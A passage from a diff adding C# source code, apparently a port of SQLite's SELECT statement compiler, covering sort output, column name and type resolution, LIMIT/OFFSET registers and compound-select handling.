); + sqlite3VdbeAddOp4( v, OP_Explain, pParse.iSelectId, 0, 0, zMsg, P4_DYNAMIC ); + } + } + +#else +/* No-op versions of the explainXXX() functions and macros. */ +//# define explainComposite(v,w,x,y,z) +static void explainComposite(Parse v, int w,int x,int y,bool z) {} +#endif + + + /* +** If the inner loop was generated using a non-null pOrderBy argument, +** then the results were placed in a sorter. After the loop is terminated +** we need to run the sorter and output the results. The following +** routine generates the code needed to do that. +*/ + static void generateSortTail( + Parse pParse, /* Parsing context */ + Select p, /* The SELECT statement */ + Vdbe v, /* Generate code into this VDBE */ + int nColumn, /* Number of columns of data */ + SelectDest pDest /* Write the sorted results here */ + ) + { + int addrBreak = sqlite3VdbeMakeLabel( v ); /* Jump here to exit loop */ + int addrContinue = sqlite3VdbeMakeLabel( v ); /* Jump here for next cycle */ + int addr; + int iTab; + int pseudoTab = 0; + ExprList pOrderBy = p.pOrderBy; + + int eDest = pDest.eDest; + int iParm = pDest.iParm; + + int regRow; + int regRowid; + + iTab = pOrderBy.iECursor; + regRow = sqlite3GetTempReg( pParse ); + if ( eDest == SRT_Output || eDest == SRT_Coroutine ) + { + pseudoTab = pParse.nTab++; + sqlite3VdbeAddOp3( v, OP_OpenPseudo, pseudoTab, regRow, nColumn ); + regRowid = 0; + } + else + { + regRowid = sqlite3GetTempReg( pParse ); + } + addr = 1 + sqlite3VdbeAddOp2( v, OP_Sort, iTab, addrBreak ); + codeOffset( v, p, addrContinue ); + sqlite3VdbeAddOp3( v, OP_Column, iTab, pOrderBy.nExpr + 1, regRow ); + switch ( eDest ) + { + case SRT_Table: + case SRT_EphemTab: + { + testcase( eDest == SRT_Table ); + testcase( eDest == SRT_EphemTab ); + sqlite3VdbeAddOp2( v, OP_NewRowid, iParm, regRowid ); + sqlite3VdbeAddOp3( v, OP_Insert, iParm, regRow, regRowid ); + sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); + break; + } +#if !SQLITE_OMIT_SUBQUERY + case SRT_Set: + { + Debug.Assert( nColumn == 1 ); + sqlite3VdbeAddOp4( v, OP_MakeRecord, regRow, 1, regRowid, p.affinity, 1 ); + sqlite3ExprCacheAffinityChange( pParse, regRow, 1 ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, iParm, regRowid ); + break; + } + case SRT_Mem: + { + Debug.Assert( nColumn == 1 ); + sqlite3ExprCodeMove( pParse, regRow, iParm, 1 ); + /* The LIMIT clause will terminate the loop for us */ + break; + } +#endif + default: + { + int i; + Debug.Assert( eDest == SRT_Output || eDest == SRT_Coroutine ); + testcase( eDest == SRT_Output ); + testcase( eDest == SRT_Coroutine ); + for ( i = 0; i < nColumn; i++ ) + { + Debug.Assert( regRow != pDest.iMem + i ); + sqlite3VdbeAddOp3( v, OP_Column, pseudoTab, i, pDest.iMem + i ); + if ( i == 0 ) + { + sqlite3VdbeChangeP5( v, OPFLAG_CLEARCACHE ); + } + } + if ( eDest == SRT_Output ) + { + sqlite3VdbeAddOp2( v, OP_ResultRow, pDest.iMem, nColumn ); + sqlite3ExprCacheAffinityChange( pParse, pDest.iMem, nColumn ); + } + else + { + sqlite3VdbeAddOp1( v, OP_Yield, pDest.iParm ); + } + break; + } + } + sqlite3ReleaseTempReg( pParse, regRow ); + sqlite3ReleaseTempReg( pParse, regRowid ); + + /* The bottom of the loop + */ + sqlite3VdbeResolveLabel( v, addrContinue ); + sqlite3VdbeAddOp2( v, OP_Next, iTab, addr ); + sqlite3VdbeResolveLabel( v, addrBreak ); + if ( eDest == SRT_Output || eDest == SRT_Coroutine ) + { + sqlite3VdbeAddOp2( v, OP_Close, pseudoTab, 0 ); + } + + } + + /* + ** Return a pointer to a string containing the 'declaration type' of the + ** expression pExpr. The string may be treated as static by the caller. + ** + ** The declaration type is the exact datatype definition extracted from the + ** original CREATE TABLE statement if the expression is a column. The + ** declaration type for a ROWID field is INTEGER. Exactly when an expression + ** is considered a column can be complex in the presence of subqueries. The + ** result-set expression in all of the following SELECT statements is + ** considered a column by this function. + ** + ** SELECT col FROM tbl; + ** SELECT (SELECT col FROM tbl; + ** SELECT (SELECT col FROM tbl); + ** SELECT abc FROM (SELECT col AS abc FROM tbl); + ** + ** The declaration type for any expression other than a column is NULL. + */ + static string columnType( + NameContext pNC, + Expr pExpr, + ref string pzOriginDb, + ref string pzOriginTab, + ref string pzOriginCol + ) + { + string zType = null; + string zOriginDb = null; + string zOriginTab = null; + string zOriginCol = null; + int j; + if ( NEVER( pExpr == null ) || pNC.pSrcList == null ) + return null; + + switch ( pExpr.op ) + { + case TK_AGG_COLUMN: + case TK_COLUMN: + { + /* The expression is a column. Locate the table the column is being + ** extracted from in NameContext.pSrcList. This table may be real + ** database table or a subquery. + */ + Table pTab = null; /* Table structure column is extracted from */ + Select pS = null; /* Select the column is extracted from */ + int iCol = pExpr.iColumn; /* Index of column in pTab */ + testcase( pExpr.op == TK_AGG_COLUMN ); + testcase( pExpr.op == TK_COLUMN ); + while ( pNC != null && pTab == null ) + { + SrcList pTabList = pNC.pSrcList; + for ( j = 0; j < pTabList.nSrc && pTabList.a[j].iCursor != pExpr.iTable; j++ ) + ; + if ( j < pTabList.nSrc ) + { + pTab = pTabList.a[j].pTab; + pS = pTabList.a[j].pSelect; + } + else + { + pNC = pNC.pNext; + } + } + + if ( pTab == null ) + { + /* At one time, code such as "SELECT new.x" within a trigger would + ** cause this condition to run. Since then, we have restructured how + ** trigger code is generated and so this condition is no longer + ** possible. However, it can still be true for statements like + ** the following: + ** + ** CREATE TABLE t1(col INTEGER); + ** SELECT (SELECT t1.col) FROM FROM t1; + ** + ** when columnType() is called on the expression "t1.col" in the + ** sub-select. In this case, set the column type to NULL, even + ** though it should really be "INTEGER". + ** + ** This is not a problem, as the column type of "t1.col" is never + ** used. When columnType() is called on the expression + ** "(SELECT t1.col)", the correct type is returned (see the TK_SELECT + ** branch below. */ + break; + } + + //Debug.Assert( pTab != null && pExpr.pTab == pTab ); + if ( pS != null ) + { + /* The "table" is actually a sub-select or a view in the FROM clause + ** of the SELECT statement. Return the declaration type and origin + ** data for the result-set column of the sub-select. + */ + if ( iCol >= 0 && ALWAYS( iCol < pS.pEList.nExpr ) ) + { + /* If iCol is less than zero, then the expression requests the + ** rowid of the sub-select or view. This expression is legal (see + ** test case misc2.2.2) - it always evaluates to NULL. + */ + NameContext sNC = new NameContext(); + Expr p = pS.pEList.a[iCol].pExpr; + sNC.pSrcList = pS.pSrc; + sNC.pNext = pNC; + sNC.pParse = pNC.pParse; + zType = columnType( sNC, p, ref zOriginDb, ref zOriginTab, ref zOriginCol ); + } + } + else if ( ALWAYS( pTab.pSchema ) ) + { + /* A real table */ + Debug.Assert( pS == null ); + if ( iCol < 0 ) + iCol = pTab.iPKey; + Debug.Assert( iCol == -1 || ( iCol >= 0 && iCol < pTab.nCol ) ); + if ( iCol < 0 ) + { + zType = "INTEGER"; + zOriginCol = "rowid"; + } + else + { + zType = pTab.aCol[iCol].zType; + zOriginCol = pTab.aCol[iCol].zName; + } + zOriginTab = pTab.zName; + if ( pNC.pParse != null ) + { + int iDb = sqlite3SchemaToIndex( pNC.pParse.db, pTab.pSchema ); + zOriginDb = pNC.pParse.db.aDb[iDb].zName; + } + } + break; + } +#if !SQLITE_OMIT_SUBQUERY + case TK_SELECT: + { + /* The expression is a sub-select. Return the declaration type and + ** origin info for the single column in the result set of the SELECT + ** statement. + */ + NameContext sNC = new NameContext(); + Select pS = pExpr.x.pSelect; + Expr p = pS.pEList.a[0].pExpr; + Debug.Assert( ExprHasProperty( pExpr, EP_xIsSelect ) ); + sNC.pSrcList = pS.pSrc; + sNC.pNext = pNC; + sNC.pParse = pNC.pParse; + zType = columnType( sNC, p, ref zOriginDb, ref zOriginTab, ref zOriginCol ); + break; + } +#endif + } + + //if ( pzOriginDb != null ) + { + //Debug.Assert( pzOriginTab != null && pzOriginCol != null ); + pzOriginDb = zOriginDb; + pzOriginTab = zOriginTab; + pzOriginCol = zOriginCol; + } + return zType; + } + + /* + ** Generate code that will tell the VDBE the declaration types of columns + ** in the result set. + */ + static void generateColumnTypes( + Parse pParse, /* Parser context */ + SrcList pTabList, /* List of tables */ + ExprList pEList /* Expressions defining the result set */ + ) + { +#if !SQLITE_OMIT_DECLTYPE + Vdbe v = pParse.pVdbe; + int i; + NameContext sNC = new NameContext(); + sNC.pSrcList = pTabList; + sNC.pParse = pParse; + for ( i = 0; i < pEList.nExpr; i++ ) + { + Expr p = pEList.a[i].pExpr; + string zType; +#if SQLITE_ENABLE_COLUMN_METADATA + string zOrigDb = null; + string zOrigTab = null; + string zOrigCol = null; + zType = columnType( sNC, p, ref zOrigDb, ref zOrigTab, ref zOrigCol ); + + /* The vdbe must make its own copy of the column-type and other + ** column specific strings, in case the schema is reset before this + ** virtual machine is deleted. + */ + sqlite3VdbeSetColName( v, i, COLNAME_DATABASE, zOrigDb, SQLITE_TRANSIENT ); + sqlite3VdbeSetColName( v, i, COLNAME_TABLE, zOrigTab, SQLITE_TRANSIENT ); + sqlite3VdbeSetColName( v, i, COLNAME_COLUMN, zOrigCol, SQLITE_TRANSIENT ); +#else + string sDummy = null; + zType = columnType( sNC, p, ref sDummy, ref sDummy, ref sDummy ); +#endif + sqlite3VdbeSetColName( v, i, COLNAME_DECLTYPE, zType, SQLITE_TRANSIENT ); + } +#endif //* SQLITE_OMIT_DECLTYPE */ + } + + /* + ** Generate code that will tell the VDBE the names of columns + ** in the result set. This information is used to provide the + ** azCol[] values in the callback. + */ + static void generateColumnNames( + Parse pParse, /* Parser context */ + SrcList pTabList, /* List of tables */ + ExprList pEList /* Expressions defining the result set */ + ) + { + Vdbe v = pParse.pVdbe; + int i, j; + sqlite3 db = pParse.db; + bool fullNames; + bool shortNames; + +#if !SQLITE_OMIT_EXPLAIN + /* If this is an EXPLAIN, skip this step */ + if ( pParse.explain != 0 ) + { + return; + } +#endif + + if ( pParse.colNamesSet != 0 || NEVER( v == null ) /*|| db.mallocFailed != 0 */ ) + return; + pParse.colNamesSet = 1; + fullNames = ( db.flags & SQLITE_FullColNames ) != 0; + shortNames = ( db.flags & SQLITE_ShortColNames ) != 0; + sqlite3VdbeSetNumCols( v, pEList.nExpr ); + for ( i = 0; i < pEList.nExpr; i++ ) + { + Expr p; + p = pEList.a[i].pExpr; + if ( NEVER( p == null ) ) + continue; + if ( pEList.a[i].zName != null ) + { + string zName = pEList.a[i].zName; + sqlite3VdbeSetColName( v, i, COLNAME_NAME, zName, SQLITE_TRANSIENT ); + } + else if ( ( p.op == TK_COLUMN || p.op == TK_AGG_COLUMN ) && pTabList != null ) + { + Table pTab; + string zCol; + int iCol = p.iColumn; + for ( j = 0; ALWAYS( j < pTabList.nSrc ); j++ ) + { + if ( pTabList.a[j].iCursor == p.iTable ) + break; + } + Debug.Assert( j < pTabList.nSrc ); + pTab = pTabList.a[j].pTab; + if ( iCol < 0 ) + iCol = pTab.iPKey; + Debug.Assert( iCol == -1 || ( iCol >= 0 && iCol < pTab.nCol ) ); + if ( iCol < 0 ) + { + zCol = "rowid"; + } + else + { + zCol = pTab.aCol[iCol].zName; + } + if ( !shortNames && !fullNames ) + { + sqlite3VdbeSetColName( v, i, COLNAME_NAME, + pEList.a[i].zSpan, SQLITE_DYNAMIC );//sqlite3DbStrDup(db, pEList->a[i].zSpan), SQLITE_DYNAMIC); + } + else if ( fullNames ) + { + string zName; + zName = sqlite3MPrintf( db, "%s.%s", pTab.zName, zCol ); + sqlite3VdbeSetColName( v, i, COLNAME_NAME, zName, SQLITE_DYNAMIC ); + } + else + { + sqlite3VdbeSetColName( v, i, COLNAME_NAME, zCol, SQLITE_TRANSIENT ); + } + } + else + { + sqlite3VdbeSetColName( v, i, COLNAME_NAME, + pEList.a[i].zSpan, SQLITE_DYNAMIC );//sqlite3DbStrDup(db, pEList->a[i].zSpan), SQLITE_DYNAMIC); + } + } + generateColumnTypes( pParse, pTabList, pEList ); + } + + /* + ** Given a an expression list (which is really the list of expressions + ** that form the result set of a SELECT statement) compute appropriate + ** column names for a table that would hold the expression list. + ** + ** All column names will be unique. + ** + ** Only the column names are computed. Column.zType, Column.zColl, + ** and other fields of Column are zeroed. + ** + ** Return SQLITE_OK on success. If a memory allocation error occurs, + ** store NULL in paCol and 0 in pnCol and return SQLITE_NOMEM. + */ + static int selectColumnsFromExprList( + Parse pParse, /* Parsing context */ + ExprList pEList, /* Expr list from which to derive column names */ + ref int pnCol, /* Write the number of columns here */ + ref Column[] paCol /* Write the new column list here */ + ) + { + sqlite3 db = pParse.db; /* Database connection */ + int i, j; /* Loop counters */ + int cnt; /* Index added to make the name unique */ + Column[] aCol; + Column pCol; /* For looping over result columns */ + int nCol; /* Number of columns in the result set */ + Expr p; /* Expression for a single result column */ + string zName; /* Column name */ + int nName; /* Size of name in zName[] */ + + + pnCol = nCol = pEList.nExpr; + aCol = paCol = new Column[nCol];//sqlite3DbMallocZero(db, sizeof(aCol[0])*nCol); + //if ( aCol == null ) + // return SQLITE_NOMEM; + for ( i = 0; i < nCol; i++ )//, pCol++) + { + if ( aCol[i] == null ) + aCol[i] = new Column(); + pCol = aCol[i]; + /* Get an appropriate name for the column + */ + p = pEList.a[i].pExpr; + Debug.Assert( p.pRight == null || ExprHasProperty( p.pRight, EP_IntValue ) + || p.pRight.u.zToken == null || p.pRight.u.zToken.Length > 0 ); + if ( pEList.a[i].zName != null && ( zName = pEList.a[i].zName ) != "" ) + { + /* If the column contains an "AS " phrase, use as the name */ + //zName = sqlite3DbStrDup(db, zName); + } + else + { + Expr pColExpr = p; /* The expression that is the result column name */ + Table pTab; /* Table associated with this expression */ + while ( pColExpr.op == TK_DOT ) + pColExpr = pColExpr.pRight; + if ( pColExpr.op == TK_COLUMN && ALWAYS( pColExpr.pTab != null ) ) + { + /* For columns use the column name name */ + int iCol = pColExpr.iColumn; + pTab = pColExpr.pTab; + if ( iCol < 0 ) + iCol = pTab.iPKey; + zName = sqlite3MPrintf( db, "%s", + iCol >= 0 ? pTab.aCol[iCol].zName : "rowid" ); + } + else if ( pColExpr.op == TK_ID ) + { + Debug.Assert( !ExprHasProperty( pColExpr, EP_IntValue ) ); + zName = sqlite3MPrintf( db, "%s", pColExpr.u.zToken ); + } + else + { + /* Use the original text of the column expression as its name */ + zName = sqlite3MPrintf( db, "%s", pEList.a[i].zSpan ); + } + } + //if ( db.mallocFailed != 0 ) + //{ + // sqlite3DbFree( db, ref zName ); + // break; + //} + + /* Make sure the column name is unique. If the name is not unique, + ** append a integer to the name so that it becomes unique. + */ + nName = sqlite3Strlen30( zName ); + for ( j = cnt = 0; j < i; j++ ) + { + if ( aCol[j].zName.Equals( zName, StringComparison.InvariantCultureIgnoreCase ) ) + { + string zNewName; + //zName[nName] = 0; + zNewName = sqlite3MPrintf( db, "%s:%d", zName.Substring( 0, nName ), ++cnt ); + sqlite3DbFree( db, ref zName ); + zName = zNewName; + j = -1; + if ( zName == "" ) + break; + } + } + pCol.zName = zName; + } + //if ( db.mallocFailed != 0 ) + //{ + // for ( j = 0 ; j < i ; j++ ) + // { + // sqlite3DbFree( db, aCol[j].zName ); + // } + // sqlite3DbFree( db, aCol ); + // paCol = null; + // pnCol = 0; + // return SQLITE_NOMEM; + //} + return SQLITE_OK; + } + + /* + ** Add type and collation information to a column list based on + ** a SELECT statement. + ** + ** The column list presumably came from selectColumnNamesFromExprList(). + ** The column list has only names, not types or collations. This + ** routine goes through and adds the types and collations. + ** + ** This routine requires that all identifiers in the SELECT + ** statement be resolved. + */ + static void selectAddColumnTypeAndCollation( + Parse pParse, /* Parsing contexts */ + int nCol, /* Number of columns */ + Column[] aCol, /* List of columns */ + Select pSelect /* SELECT used to determine types and collations */ + ) + { + sqlite3 db = pParse.db; + NameContext sNC; + Column pCol; + CollSeq pColl; + int i; + Expr p; + ExprList_item[] a; + + Debug.Assert( pSelect != null ); + Debug.Assert( ( pSelect.selFlags & SF_Resolved ) != 0 ); + Debug.Assert( nCol == pSelect.pEList.nExpr /*|| db.mallocFailed != 0 */ ); + // if ( db.mallocFailed != 0 ) return; + sNC = new NameContext();// memset( &sNC, 0, sizeof( sNC ) ); + sNC.pSrcList = pSelect.pSrc; + a = pSelect.pEList.a; + for ( i = 0; i < nCol; i++ )//, pCol++ ) + { + pCol = aCol[i]; + p = a[i].pExpr; + string bDummy = null; + pCol.zType = columnType( sNC, p, ref bDummy, ref bDummy, ref bDummy );// sqlite3DbStrDup( db, columnType( sNC, p, 0, 0, 0 ) ); + pCol.affinity = sqlite3ExprAffinity( p ); + if ( pCol.affinity == 0 ) + pCol.affinity = SQLITE_AFF_NONE; + pColl = sqlite3ExprCollSeq( pParse, p ); + if ( pColl != null ) + { + pCol.zColl = pColl.zName;// sqlite3DbStrDup( db, pColl.zName ); + } + } + } + + /* + ** Given a SELECT statement, generate a Table structure that describes + ** the result set of that SELECT. + */ + static Table sqlite3ResultSetOfSelect( Parse pParse, Select pSelect ) + { + Table pTab; + sqlite3 db = pParse.db; + int savedFlags; + + savedFlags = db.flags; + db.flags &= ~SQLITE_FullColNames; + db.flags |= SQLITE_ShortColNames; + sqlite3SelectPrep( pParse, pSelect, null ); + if ( pParse.nErr != 0 ) + return null; + while ( pSelect.pPrior != null ) + pSelect = pSelect.pPrior; + db.flags = savedFlags; + pTab = new Table();// sqlite3DbMallocZero( db, sizeof( Table ) ); + if ( pTab == null ) + { + return null; + } + /* The sqlite3ResultSetOfSelect() is only used n contexts where lookaside + ** is disabled */ + Debug.Assert( db.lookaside.bEnabled == 0 ); + pTab.nRef = 1; + pTab.zName = null; + pTab.nRowEst = 1000000; + selectColumnsFromExprList( pParse, pSelect.pEList, ref pTab.nCol, ref pTab.aCol ); + selectAddColumnTypeAndCollation( pParse, pTab.nCol, pTab.aCol, pSelect ); + pTab.iPKey = -1; + //if ( db.mallocFailed != 0 ) + //{ + // sqlite3DeleteTable(db, ref pTab ); + // return null; + //} + return pTab; + } + + /* + ** Get a VDBE for the given parser context. Create a new one if necessary. + ** If an error occurs, return NULL and leave a message in pParse. + */ + static Vdbe sqlite3GetVdbe( Parse pParse ) + { + Vdbe v = pParse.pVdbe; + if ( v == null ) + { + v = pParse.pVdbe = sqlite3VdbeCreate( pParse.db ); +#if !SQLITE_OMIT_TRACE + if ( v != null ) + { + sqlite3VdbeAddOp0( v, OP_Trace ); + } +#endif + } + return v; + } + + + /* + ** Compute the iLimit and iOffset fields of the SELECT based on the + ** pLimit and pOffset expressions. pLimit and pOffset hold the expressions + ** that appear in the original SQL statement after the LIMIT and OFFSET + ** keywords. Or NULL if those keywords are omitted. iLimit and iOffset + ** are the integer memory register numbers for counters used to compute + ** the limit and offset. If there is no limit and/or offset, then + ** iLimit and iOffset are negative. + ** + ** This routine changes the values of iLimit and iOffset only if + ** a limit or offset is defined by pLimit and pOffset. iLimit and + ** iOffset should have been preset to appropriate default values + ** (usually but not always -1) prior to calling this routine. + ** Only if pLimit!=0 or pOffset!=0 do the limit registers get + ** redefined. The UNION ALL operator uses this property to force + ** the reuse of the same limit and offset registers across multiple + ** SELECT statements. + */ + static void computeLimitRegisters( Parse pParse, Select p, int iBreak ) + { + Vdbe v = null; + int iLimit = 0; + int iOffset; + int addr1, n = 0; + if ( p.iLimit != 0 ) + return; + + /* + ** "LIMIT -1" always shows all rows. There is some + ** contraversy about what the correct behavior should be. + ** The current implementation interprets "LIMIT 0" to mean + ** no rows. + */ + sqlite3ExprCacheClear( pParse ); + Debug.Assert( p.pOffset == null || p.pLimit != null ); + if ( p.pLimit != null ) + { + p.iLimit = iLimit = ++pParse.nMem; + v = sqlite3GetVdbe( pParse ); + if ( NEVER( v == null ) ) + return; /* VDBE should have already been allocated */ + if ( sqlite3ExprIsInteger( p.pLimit, ref n ) != 0 ) + { + sqlite3VdbeAddOp2( v, OP_Integer, n, iLimit ); + VdbeComment( v, "LIMIT counter" ); + if ( n == 0 ) + { + sqlite3VdbeAddOp2( v, OP_Goto, 0, iBreak ); + } + else + { + if ( p.nSelectRow > (double)n ) + p.nSelectRow = (double)n; + } + } + else + { + sqlite3ExprCode( pParse, p.pLimit, iLimit ); + sqlite3VdbeAddOp1( v, OP_MustBeInt, iLimit ); +#if SQLITE_DEBUG + VdbeComment( v, "LIMIT counter" ); +#endif + sqlite3VdbeAddOp2( v, OP_IfZero, iLimit, iBreak ); + } + if ( p.pOffset != null ) + { + p.iOffset = iOffset = ++pParse.nMem; + pParse.nMem++; /* Allocate an extra register for limit+offset */ + sqlite3ExprCode( pParse, p.pOffset, iOffset ); + sqlite3VdbeAddOp1( v, OP_MustBeInt, iOffset ); +#if SQLITE_DEBUG + VdbeComment( v, "OFFSET counter" ); +#endif + addr1 = sqlite3VdbeAddOp1( v, OP_IfPos, iOffset ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, iOffset ); + sqlite3VdbeJumpHere( v, addr1 ); + sqlite3VdbeAddOp3( v, OP_Add, iLimit, iOffset, iOffset + 1 ); +#if SQLITE_DEBUG + VdbeComment( v, "LIMIT+OFFSET" ); +#endif + addr1 = sqlite3VdbeAddOp1( v, OP_IfPos, iLimit ); + sqlite3VdbeAddOp2( v, OP_Integer, -1, iOffset + 1 ); + sqlite3VdbeJumpHere( v, addr1 ); + } + } + } + +#if !SQLITE_OMIT_COMPOUND_SELECT + /* +** Return the appropriate collating sequence for the iCol-th column of +** the result set for the compound-select statement "p". Return NULL if +** the column has no default collating sequence. +** +** The collating sequence for the compound select is taken from the +** left-most term of the select that has a collating sequence. +*/ + static CollSeq multiSelectCollSeq( Parse pParse, Select p, int iCol ) + { + CollSeq pRet; + if ( p.pPrior != null ) + { + pRet = multiSelectCollSeq( pParse, p.pPrior, iCol ); + } + else + { + pRet = null; + } + Debug.Assert( iCol >= 0 ); + if ( pRet == null && iCol < p.pEList.nExpr ) + { + pRet = sqlite3ExprCollSeq( pParse, p.pEList.a[iCol].pExpr ); + } + return pRet; + } +#endif // * SQLITE_OMIT_COMPOUND_SELECT */ + + /* Forward reference */ + //static int multiSelectOrderBy( + // Parse* pParse, /* Parsing context */ + // Select* p, /* The right-most of SELECTs to be coded */ + // SelectDest* pDest /* What to do with query results */ + //); + +#if !SQLITE_OMIT_COMPOUND_SELECT + /* +** This routine is called to process a compound query form from +** two or more separate queries using UNION, UNION ALL, EXCEPT, or +** INTERSECT +** +** "p" points to the right-most of the two queries. the query on the +** left is p.pPrior. The left query could also be a compound query +** in which case this routine will be called recursively. +** +** The results of the total query are to be written into a destination +** of type eDest with parameter iParm. +** +** Example 1: Consider a three-way compound SQL statement. +** +** SELECT a FROM t1 UNION SELECT b FROM t2 UNION SELECT c FROM t3 +** +** This statement is parsed up as follows: +** +** SELECT c FROM t3 +** | +** `----. SELECT b FROM t2 +** | +** `-----. SELECT a FROM t1 +** +** The arrows in the diagram above represent the Select.pPrior pointer. +** So if this routine is called with p equal to the t3 query, then +** pPrior will be the t2 query. p.op will be TK_UNION in this case. +** +** Notice that because of the way SQLite parses compound SELECTs, the +** individual selects always group from left to right. +*/ + static int multiSelect( + Parse pParse, /* Parsing context */ + Select p, /* The right-most of SELECTs to be coded */ + SelectDest pDest /* What to do with query results */ + ) + { + int rc = SQLITE_OK; /* Success code from a subroutine */ + Select pPrior; /* Another SELECT immediately to our left */ + Vdbe v; /* Generate code to this VDBE */ + SelectDest dest = new SelectDest(); /* Alternative data destination */ + Select pDelete = null; /* Chain of simple selects to delete */ + sqlite3 db; /* Database connection */ +#if !SQLITE_OMIT_EXPLAIN + int iSub1 = 0; /* EQP id of left-hand query */ + int iSub2 = 0; /* EQP id of right-hand query */ +#endif + + /* Make sure there is no ORDER BY or LIMIT clause on prior SELECTs. Only +** the last (right-most) SELECT in the series may have an ORDER BY or LIMIT. +*/ + Debug.Assert( p != null && p.pPrior != null ); /* Calling function guarantees this much */ + db = pParse.db; + pPrior = p.pPrior; + Debug.Assert( pPrior.pRightmost != pPrior ); + Debug.Assert( pPrior.pRightmost == p.pRightmost ); + dest = pDest; + if ( pPrior.pOrderBy != null ) + { + sqlite3ErrorMsg( pParse, "ORDER BY clause should come after %s not before", + selectOpName( p.op ) ); + rc = 1; + goto multi_select_end; + } + if ( pPrior.pLimit != null ) + { + sqlite3ErrorMsg( pParse, "LIMIT clause should come after %s not before", + selectOpName( p.op ) ); + rc = 1; + goto multi_select_end; + } + + v = sqlite3GetVdbe( pParse ); + Debug.Assert( v != null ); /* The VDBE already created by calling function */ + + /* Create the destination temporary table if necessary + */ + if ( dest.eDest == SRT_EphemTab ) + { + Debug.Assert( p.pEList != null ); + sqlite3VdbeAddOp2( v, OP_OpenEphemeral, dest.iParm, p.pEList.nExpr ); + sqlite3VdbeChangeP5( v, BTREE_UNORDERED ); + dest.eDest = SRT_Table; + } + + /* Make sure all SELECTs in the statement have the same number of elements + ** in their result sets. + */ + Debug.Assert( p.pEList != null && pPrior.pEList != null ); + if ( p.pEList.nExpr != pPrior.pEList.nExpr ) + { + sqlite3ErrorMsg( pParse, "SELECTs to the left and right of %s" + + " do not have the same number of result columns", selectOpName( p.op ) ); + rc = 1; + goto multi_select_end; + } + + /* Compound SELECTs that have an ORDER BY clause are handled separately. + */ + if ( p.pOrderBy != null ) + { + return multiSelectOrderBy( pParse, p, pDest ); + } + + /* Generate code for the left and right SELECT statements. + */ + switch ( p.op ) + { + case TK_ALL: + { + int addr = 0; + int nLimit = 0; + Debug.Assert( pPrior.pLimit == null ); + pPrior.pLimit = p.pLimit; + pPrior.pOffset = p.pOffset; + explainSetInteger( ref iSub1, pParse.iNextSelectId ); + rc = sqlite3Select( pParse, pPrior, ref dest ); + p.pLimit = null; + p.pOffset = null; + if ( rc != 0 ) + { + goto multi_select_end; + } + p.pPrior = null; + p.iLimit = pPrior.iLimit; + p.iOffset = pPrior.iOffset; + if ( p.iLimit != 0 ) + { + addr = sqlite3VdbeAddOp1( v, OP_IfZero, p.iLimit ); +#if SQLITE_DEBUG + VdbeComment( v, "Jump ahead if LIMIT reached" ); +#endif + } + explainSetInteger( ref iSub2, pParse.iNextSelectId ); + rc = sqlite3Select( pParse, p, ref dest ); + testcase( rc != SQLITE_OK ); + pDelete = p.pPrior; + p.pPrior = pPrior; + p.nSelectRow += pPrior.nSelectRow; + if ( pPrior.pLimit != null + && sqlite3ExprIsInteger( pPrior.pLimit, ref nLimit ) != 0 + && p.nSelectRow > (double)nLimit + ) + { + p.nSelectRow = (double)nLimit; + } + if ( addr != 0 ) + { + sqlite3VdbeJumpHere( v, addr ); + } + break; + } + case TK_EXCEPT: + case TK_UNION: + { + int unionTab; /* VdbeCursor number of the temporary table holding result */ + u8 op = 0; /* One of the SRT_ operations to apply to self */ + int priorOp; /* The SRT_ operation to apply to prior selects */ + Expr pLimit, pOffset; /* Saved values of p.nLimit and p.nOffset */ + int addr; + SelectDest uniondest = new SelectDest(); + + testcase( p.op == TK_EXCEPT ); + testcase( p.op == TK_UNION ); + priorOp = SRT_Union; + if ( dest.eDest == priorOp && ALWAYS( null == p.pLimit && null == p.pOffset ) ) + { + /* We can reuse a temporary table generated by a SELECT to our + ** right. + */ + Debug.Assert( p.pRightmost != p ); /* Can only happen for leftward elements +** of a 3-way or more compound */ + Debug.Assert( p.pLimit == null ); /* Not allowed on leftward elements */ + Debug.Assert( p.pOffset == null ); /* Not allowed on leftward elements */ + unionTab = dest.iParm; + } + else + { + /* We will need to create our own temporary table to hold the + ** intermediate results. + */ + unionTab = pParse.nTab++; + Debug.Assert( p.pOrderBy == null ); + addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, unionTab, 0 ); + Debug.Assert( p.addrOpenEphm[0] == -1 ); + p.addrOpenEphm[0] = addr; + p.pRightmost.selFlags |= SF_UsesEphemeral; + Debug.Assert( p.pEList != null ); + } + + /* Code the SELECT statements to our left + */ + Debug.Assert( pPrior.pOrderBy == null ); + sqlite3SelectDestInit( uniondest, priorOp, unionTab ); + explainSetInteger( ref iSub1, pParse.iNextSelectId ); + rc = sqlite3Select( pParse, pPrior, ref uniondest ); + if ( rc != 0 ) + { + goto multi_select_end; + } + + /* Code the current SELECT statement + */ + if ( p.op == TK_EXCEPT ) + { + op = SRT_Except; + } + else + { + Debug.Assert( p.op == TK_UNION ); + op = SRT_Union; + } + p.pPrior = null; + pLimit = p.pLimit; + p.pLimit = null; + pOffset = p.pOffset; + p.pOffset = null; + uniondest.eDest = op; + explainSetInteger( ref iSub2, pParse.iNextSelectId ); + rc = sqlite3Select( pParse, p, ref uniondest ); + testcase( rc != SQLITE_OK ); + /* Query flattening in sqlite3Select() might refill p.pOrderBy. + ** Be sure to delete p.pOrderBy, therefore, to avoid a memory leak. */ + sqlite3ExprListDelete( db, ref p.pOrderBy ); + pDelete = p.pPrior; + p.pPrior = pPrior; + p.pOrderBy = null; + if ( p.op == TK_UNION ) + p.nSelectRow += pPrior.nSelectRow; + sqlite3ExprDelete( db, ref p.pLimit ); + p.pLimit = pLimit; + p.pOffset = pOffset; + p.iLimit = 0; + p.iOffset = 0; + + /* Convert the data in the temporary table into whatever form + ** it is that we currently need. + */ + Debug.Assert( unionTab == dest.iParm || dest.eDest != priorOp ); + if ( dest.eDest != priorOp ) + { + int iCont, iBreak, iStart; + Debug.Assert( p.pEList != null ); + if ( dest.eDest == SRT_Output ) + { + Select pFirst = p; + while ( pFirst.pPrior != null ) + pFirst = pFirst.pPrior; + generateColumnNames( pParse, null, pFirst.pEList ); + } + iBreak = sqlite3VdbeMakeLabel( v ); + iCont = sqlite3VdbeMakeLabel( v ); + computeLimitRegisters( pParse, p, iBreak ); + sqlite3VdbeAddOp2( v, OP_Rewind, unionTab, iBreak ); + iStart = sqlite3VdbeCurrentAddr( v ); + selectInnerLoop( pParse, p, p.pEList, unionTab, 